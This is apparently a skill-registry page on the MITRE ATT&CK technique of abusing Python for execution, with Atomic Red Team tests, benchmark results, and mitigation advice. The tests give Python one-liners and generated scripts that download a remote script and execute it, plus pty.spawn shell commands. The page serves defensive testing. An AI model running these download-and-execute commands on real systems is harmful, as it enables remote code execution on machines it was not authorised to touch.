Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Adversaries may abuse Python commands and scripts for execution.
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-09 | ✗→✓ | ▲ Improved | 0% | 0% |
| case-22 | ✗→✓ | ▲ Improved | 20% | 0% |
| case-23 | ✗→✓ | ▲ Improved | -2% | 0% |
| case-05 | ✓→✓ | = Same ✓ | 68% | 0% |
| case-10 | ✓→✓ | = Same ✓ | 319% | 0% |
> Sub-technique of: T1059
Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.
Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.
Platforms: ESXi, Linux, macOS, Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Download and execute shell script and write to file then execute locally using Python -c (command mode)
Supported Platforms: linux
bashwhich_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'
Dependencies:
Create Python file (.py) that downloads and executes shell script via executor arguments
Supported Platforms: linux
bashwhich_python=$(which python || which python3 || which python3.9 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name} echo 'session = requests.session()' >> #{python_script_name} echo 'source = session.get(url).content' >> #{python_script_name} echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name} echo 'fd.write(source)' >> #{python_script_name} echo 'fd.close()' >> #{python_script_name} echo 'os.system(malicious_command)' >> #{python_script_name} $which_python #{python_script_name}
Dependencies:
Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments
Supported Platforms: linux
bashwhich_python=$(which python || which python3 || which python3.9 || which python2) echo 'import requests' > #{python_script_name} echo 'import os' >> #{python_script_name} echo 'url = "#{script_url}"' >> #{python_script_name} echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name} echo 'session = requests.session()' >> #{python_script_name} echo 'source = session.get(url).content' >> #{python_script_name} echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name} echo 'fd.write(source)' >> #{python_script_name} echo 'fd.close()' >> #{python_script_name} echo 'os.system(malicious_command)' >> #{python_script_name} $which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")' $which_python #{python_binary_name}
Dependencies:
Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence
Supported Platforms: linux
bashwhich_python=$(which python || which python3 || which python3.9 || which python2) $which_python -c "import pty;pty.spawn('/bin/sh')" exit $which_python -c "import pty;pty.spawn('/bin/bash')" exit
Dependencies:
If Atomic Red Team tests are not applicable, manually verify the technique by:
Inventory systems for unauthorized Python installations.
Anti-virus can be used to automatically quarantine suspicious files.
Prevent users from installing Python where not required.
Denylist Python where not required.
| Finding | Severity | Impact | | --------------------------- | -------- | --------- | | Python technique applicable | Low | Execution |
| CWE ID | Title | | ------ | -------------------------------------- | | CWE-94 | Improper Control of Generation of Code |
Other measured skills in the registry, with their headline benchmark lift.